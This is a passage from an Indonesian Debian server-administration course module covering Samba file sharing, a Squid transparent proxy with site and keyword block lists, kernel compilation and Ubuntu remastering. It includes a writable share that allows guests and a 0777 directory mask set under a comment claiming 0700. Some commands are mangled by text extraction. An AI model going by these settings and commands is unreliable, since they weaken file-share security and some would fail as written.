workgroup = WORKGROUP
# server string is the equivalent of the NT Description field
server string = %h linux server
#### Debugging/Accounting ####
# This tells Samba to use a separate log file for each machine
# that connects
log file = /var/log/samba/log.%m
# Cap the size of the individual log files (in KiB).
max log size = 1000
40
Modul Admin Server Debian Lenny
By Arafat, S.Kom
# If you want Samba to only log through syslog then set the following
# parameter to 'yes'.
# syslog only = no
# We want Samba to log a minimum amount of information to syslog. Everything
# should go to /var/log/samba/log.{smbd,nmbd} instead. If you want to log
# through syslog you should set the following parameter to something higher.
syslog = 0
# Do something sensible when Samba crashes: mail the admin a backtrace
panic action = /usr/share/samba/panic-action %d
####### Authentication #######
# "security = user" is always a good idea. This will require a Unix account
# in this server for every user accessing the server. See
# /usr/share/doc/samba-doc/htmldocs/Samba3-HOWTO/ServerType.html
# in the samba-doc package for details.
security = user
# You may wish to use password encryption. See the section on
# 'encrypt passwords' in the smb.conf(5) manpage before enabling.
encrypt passwords = true
# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.
passdb backend = tdbsam
obey pam restrictions = yes
# This boolean parameter controls whether Samba attempts to sync the Unix
# password with the SMB password when the encrypted SMB password in the
# passdb is changed.
unix password sync = yes
# For Unix password sync to work on a Debian GNU/Linux system, the following
# parameters must be set (thanks to Ian Kahan <<kahan@informatik.tu-muenchen.de> for
# sending the correct chat script for the passwd program in Debian Sarge).
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
#======================= Share Definitions =======================
#konfigurasi untuk mengunakan security user
wins support = no
[data]
path = /home/ftp
comment = share mode user
public = yes
valid users = arafat
41
Modul Admin Server Debian Lenny
By Arafat, S.Kom
read only = no
guest ok = yes
available = yes
browsable = yes
writable = yes
#konfigurasi untuk mengunakan security Share
[data2]
path = /home/data
comment = share untuk public
available = yes
browsable = yes
public = yes
writable = no
locking = no
# By default, the home directories are exported read-only. Change the
# next parameter to 'no' if you want to be able to write to them.
# read only = yes
# File creation mask is set to 0700 for security reasons. If you want to
# create files with group=rw permissions, set next parameter to 0775.
create mask = 0700
# Directory creation mask is set to 0700 for security reasons. If you want to
# create dirs. with group=rw permissions, set next parameter to 0775.
directory mask = 0777
# By default, \\server\username shares can be connected to by anyone
# with access to the samba server.
# The following parameter makes sure that only "username" can connect
# to \\server\username
# This might need tweaking when using external authentication schemes
# valid users = %S
# Un-comment the following and create the netlogon directory for Domain Logons
# (you need to configure Samba to act as a domain controller too.)
;[netlogon]
; comment = Network Logon Service
; path = /home/samba/netlogon
; guest ok = yes
; read only = yes
; share modes = no
# Un-comment the following and create the profiles directory to store
# users profiles (see the "logon path" option above)
# (you need to configure Samba to act as a domain controller too.)
# The path below should be writable by all users so that their
# profile directory may be created the first time they log on
;[profiles]
; comment = Users profiles
; path = /home/samba/profiles
; guest ok = no
42
Modul Admin Server Debian Lenny
By Arafat, S.Kom
; browseable = no
; create mask = 0600
; directory mask = 0700
[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
guest ok = no
read only = yes
create mask = 0700
# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
; write list = root, @lpadmin
# A sample share for sharing your CD-ROM with others.
;[cdrom]
; comment = Samba server's CD-ROM
; read only = yes
; locking = no
; path = /cdrom
; guest ok = yes
# The next two parameters show how to auto-mount a CD-ROM when the
# cdrom share is accesed. For this to work /etc/fstab must contain
# an entry like this:
#
# /dev/scd0 /cdrom iso9660 defaults,noauto,ro,user 0 0
#
# The CD-ROM gets unmounted automatically after the connection to the
#
# If you don't want to use auto-mounting/unmounting make sure the CD
# is mounted on /cdrom
#
; preexec = /bin/mount /cdrom
; postexec = /bin/umount /cdrom
Cek konfigurasi samba apakah ada kesalahan dengan mengetikan perintah:
#testparm
Jika tidak ada pesan error berati konfigurasi samba sudah benar.
43
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Restart service samba
#/etc/init.d/samba restart
Buka run di windows XP kemudian ketikan \\192.168.1.1
Jika konfigurasi benar seharusnya akan muncul seperti terlihat pada gambar
44
Modul Admin Server Debian Lenny
By Arafat, S.Kom
PROXY SERVER
Proxy server berfungsi untuk membuat salinan data yang dibaca dari Internet ke jaringan lokal kita sehingga jika di lain waktu kita mengakses data yang sama, maka data tersebut akan diambil dari jaringan lokal kita sehingga akan sangat menghemat bandwith kita ke Internet. Squid adalah proxy server yang paling stabil dan paling umum digunakan untuk sistem operasi Linux.
Aktifkan IP Forwading nya..
#cd /etc
#gedit sysyctl.conf
Buka tanda pagar pada net.ipv4.ip_forward=1
# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1
kemudian restart konfigurasi networknya
#/etc/init.d/networking force-reload
#/etc/init.d/networking restart
INSTALLASI SQUID
#apt-get install squid
KONFIGURASI SQUID
Langkah berikutnya, carilah perintah berikut :
# ACCESS CONTROLS
# ------------------
Baris perintah berikut ini digunakan untuk mendefinisikan daftar hak akses dalam jaringan anda,
45
Modul Admin Server Debian Lenny
By Arafat, S.Kom
squid menyebutnya dengan Access Control Lists (ACL). Anda dapat mendefinisikan beberapa ACL disini.
Dalam bagian access controls ini, carilah baris perintah berikut :
Carilah baris yang berisi perintah berikut :
#Examples:
#acl macaddress arp 09:00:2b:23:45:67
#acl myexample dst_as 1241
#acl password proxy_auth REQUIRED
#acl fileupload req_mime_type -i ^multipart/form-data$
#acl javascript rep_mime_type -i ^application/x-javascript$
#
#Recommended minimum configuration:
acl all src all
acl manager proto cache_object
acl localhost src 127.0.0.1/32
acl lan src 192.168.1.0/24
acl to_localhost dst 127.0.0.0/8
acl situs url_regex "/etc/squid/blokir.txt"
acl terlarang url_regex -i "/etc/squid/kataterlarang.txt"
#
#good idea to have an "deny all" or "allow all" entry at the end
# of your access lists to avoid potential confusion.
#
#Default:
# http_access deny all
#
#Recommended minimum configuration:
#
# Only allow cachemgr access from localhost
http_access deny situs
http_access deny terlarang
http_access allow lan
http_access allow manager localhost
http_access deny manager
# Only allow purge requests from localhost
http_access allow purge localhost
http_access deny purge
# Deny requests to unknown ports
http_access deny !Safe_ports
# Deny CONNECT to other than SSL ports
http_access deny CONNECT !SSL_ports
#
# We strongly recommend the following be uncommented to protect innocent
# web applications running on the proxy server who think the only
46
Modul Admin Server Debian Lenny
By Arafat, S.Kom
# one who can access services on "localhost" is a local user
#http_access deny to_localhost
#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
# Example rule allowing access from your local networks.
# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed
#http_access allow localnet
http_access allow localhost
# And finally deny all other access to this proxy
http_access deny all
tambahkan transparent di baris 1117
# Squid normally listens to port 3128
http_port 3128 transparent
tambahkan visible_hostname di baris 3373
# TAG: cache_effective_group
# If you want Squid to run with a specific GID regardless of
# the group memberships of the effective user then set this
# to the group (or GID) you want Squid to run as. When set
# all other group privileges of the effective user is ignored
# and only this GID is effective. If Squid is not started as
# root the user starting Squid must be member of the specified
# group.
#
#Default:
# none
visible_hostname smktelkom.sch.id
buat file di /etc/squid/kataterlarang.txt
#cd /etc/squid
#gedit kataterlarang.txt
crack
hack
cracker
buat file di /etc/squid/blokir.txt
#cd /etc/squid
#gedit blokir.txt
47
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Facebook.com
Hacker.org
Cracker.org
Sebelum squid dapat berjalan, anda harus menciptakan direktori swap. Lakukanlah dengan menjalankan perintah :
#/etc/init.d/squid stop
# squid �z
#/etc/init.d/squid start
#squid �k reconfigure
KONFIGURASI TRANSPARENT PROXY
Langkah terakhir adalah untuk mengkonfigurasi squid menjadi transparen proxy ketikan perintah berikut di terminal dengan:
#iptables -t nat -A PREROUTING -s 192.168.1.0/24 -p tcp --dport 80 -j REDIRECT --to-ports 3128
Coba buka web yang telah dibuat sebelumnya yang telah terdaftar di blokir.txt dan situsterlarang.txt
Jika konfigurasi sudah benar maka akan muncul seperti pada gambar yang menyatakan bahwa situs berhasil terblokir :
48
Modul Admin Server Debian Lenny
By Arafat, S.Kom
Untuk melihat history apa saja web yang pernah dibuka oleh komputer klien maka ketikan perintah berikut:
#tail -f /var/log/squid/access.log
1290024442.959 11335 192.168.1.2 TCP_MISS/200 2498 GET http://www.smktelkom.sch.id/ - DIRECT/192.168.1.1 text/html
1290024443.214 253 192.168.1.2 TCP_REFRESH_HIT/304 388 GET http://www.smktelkom.sch.id/wp-content/themes/twentyten/style.css - DIRECT/192.168.1.1 -
1290024443.218 59 192.168.1.2 TCP_REFRESH_HIT/304 388 GET http://www.smktelkom.sch.id/wp-content/themes/twentyten/images/headers/path.jpg - DIRECT/192.168.1.1 -
1290024443.306 87 192.168.1.2 TCP_REFRESH_HIT/304 387 GET http://www.smktelkom.sch.id/wp-content/themes/twentyten/images/wordpress.png - DIRECT/192.168.1.1 -
1290024443.350 44 192.168.1.2 TCP_MISS/404 766 GET http://www.smktelkom.sch.id/favicon.ico - DIRECT/192.168.1.1 text/html
1290024489.758 2 192.168.1.2 TCP_DENIED/403 1432 GET http://www.cracker.org/ - NONE/- text/htm
MENGEMBANGKAN KERNEL LINUX SENDIRI
Kernel Linux adalah kernel yang digunakan dalam sistem operasi GNU/Linux. Kernel ini merupakan turunan dari keluarga sistem operasi UNIX, dirilis dengan menggunakan lisensi GNU General Public License (GPL), dan dikembangkan oleh pemrogram di seluruh dunia. Linux merupakan contoh utama dari perangkat lunak bebas dan sumber terbuka.Kernel Linux dirilis dibawah Lisensi Publik Umum GNU versi 2 (GPLv2)[2] (dengan bermacam-macam Firmware dengan lisensi tidak gratis yang bervariatif[butuh rujukan]), dan dikembangkan oleh kontributor dari seluruh dunia. Diskusi perkembangan dari hari ke hari dilakukan di Mailing List Linux Kernel.
Kernel Linux pada awalnya dibayangkan dan kemudian dibuat oleh murid Ilmu Komputer berkebangsaan Finlandia, Linus Torvalds pada tahun 1991.[3] Pengembang dan Pengguna Linux bertambah dengan cepat, lalu mereka mengadaptasi kode dari proyek-proyek software gratis untuk digunakan sebagai Sistem Operasi baru.[4] Linux kernel telah menerima kontribusi dari ribuan programmer.[5] Banyak Distribusi Linux telah dirilis berdasarkan Kernel Linux.
Beberapa cara membuat sistem operasi tersebut antara lain adalah
Membuat sendiri distro untuk di distribusikan ke teman-teman penggunak Linux. Contoh BlankOn yang dibuat oleh YPLI. Referensi untuk membuat distro sendiri ada di beberapa situs, seperti http://vertito.blogspot.com/2007/08/create-your-own-linux-os-distro-howto.html
Mengcompile kernel Linux dari source code.
Pada kesempatan ini akan dijelaskan teknik meng-compile kernel Linux dari source code kernel. Source code kernel (inti) sistem operasi Linux dapat diambil secara bebas dari situs http://www.kernel.org. Proses/langkah membuat sistem operasi Linux dengan cara meng-compile kernel dapat dilakukan di sistem operasi linux yang kita operasikan dan menjalankan perintah-perintah berikut.
Pada kesempatan ini digunakan Linux Ubuntu, Linux di-Install seperti biasa sebelum kita membuat kernel yang baru.
Setelah linux baru terinstall, ubah password root melalui perintah berikut :
$ sudo passwd root
Password:
Password:
Masuk sebagai root :
$ su -
#
update source Ubuntu :
# apt-get update
$ sudo apt-get update
Set supaya /bin/sh menjadi /bin/bash jika diperlukan :
# rm -f /bin/sh
# ln -s /bin/bash /bin/sh
Siapkan kernel package :
# apt-get update
# apt-get install kernel-package libncurses5-dev fakeroot wget bzip2
Copy source code kernel, dalam contoh ini digunakan versi kernel 2.6.18.1, anda dapat saja menggunakan versi kernel yang paling akhir :
# cd /usr/src
# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.1.tar.bz2
# tar xjf linux-2.6.18.1.tar.bz2
# ln -s linux-2.6.18.1 linux
Compile kernel 2.6 di Linux :
# cd /usr/src/linux
# cp /boot/config-`uname -r` ./.config
# make menuconfig
Melalui menu config kita dapat mengkonfigurasi apa saja yang perlu kita support/dukung dari kernel yang kita buat.
# make-kpkg clean
# fakeroot make-kpkg --initrd --append-to-version=-custom kernel_image kernel_headers
# cd /usr/src
# dpkg -i linux-image-2.6.18.1-custom_2.6.18.1-custom-10.00.Custom_i386.deb
# dpkg -i linux-headers-2.6.18.1-custom_2.6.18.1-custom-10.00.Custom_i386.deb
Ubah GRUB :
# vi /boot/grub/menu.lst
Pastikan bahwa kernel yang kita buat ada dalam daftar pilihan GRUB agar saat booting dapat dipilih untuk dijalankan. Shutdown mesin menggunakan perintah :
# shutdown -r now
Login kembali ke mesin yang kita gunakan, cek apakah versi kernel yang kita gunakan telah berhasil dengan baik :
# uname -r
UCK (Ubuntu Customization Kit) adalah salah satu tools yang digunakan untuk meremastering distro ubuntu, dengan tool ini kita dapat membuat distro ubuntu menjadi distro linux dengan pilihan software yang kita inginkan, bahkan dapat membuat distro sendiri, tentunya turunan ubuntu juga. Berikut adalah cara untuk melakukan customization ubuntu atau meremaster ubuntu Desktop :
Download UCK dari http://uck.sf.net
Install uck, sebelumnya install packet pendukung untuk UCK terlebih dahulu
# apt-get install fakeroot gfxboot squashfs-tools
# dpkg -i uck_2.0.3_all.deb
Buat direktori untuk menaruh file remaster
# mkdir -p /home/user/tmp
Tahap selanjutnya adalah memulai remastering, jangan lupa siapkan dulu file iso ubuntu-server, kalo belum memiliki isonya bisa download dulu di http://kambing.ui.edu dan sediakan space hardisk di /home/user anda kurang lebih sekitar 5 Gb plus koneksi internet tentunya.
$ sudo uck-remaster-unpack-iso ubuntu-8.04-desktop-i386.iso
Perintah di atas menyebabkan hasil unpack iso ubuntu server akan berada pada /home/user/tmp
Lakukan perintah berikut agar kita dapat mengedit file preseed ubuntu dan melakukan customization
$ sudo uck-remaster-prepare-alternate.
Unpack rootfs dari ubuntu supaya kita dapat melakukan chroot.
$ sudo uck-remaster-unpack-rootfs
Sekarang saat melakukan chroot terhadap ubuntu yang baru, dengan chroot kita dapat melakukan install software, editing file seperti file /etc/issue, /etc/issue.net dan lainnya seperti bekerja di mesin yang sudah di install, hasil chroot ini nantinya ketika file iso untuk ubuntu baru sudah di install maka hasilnya akan sama seperti yang kita lakukan pada waktu chroot ini.
$ sudo uck-remaster-chroot-rootfs
Buat gpg key untuk distro baru
$ sudo gpg�gen-key
Finalize distro baru dengan gpg key yang baru dibuat.
$ sudo uck-remaster-finalize-alternate keyyangbarudibuat
10. Setelah itu tinggal di package menjadi file iso.
$ sudo uck-remaster-pack-iso










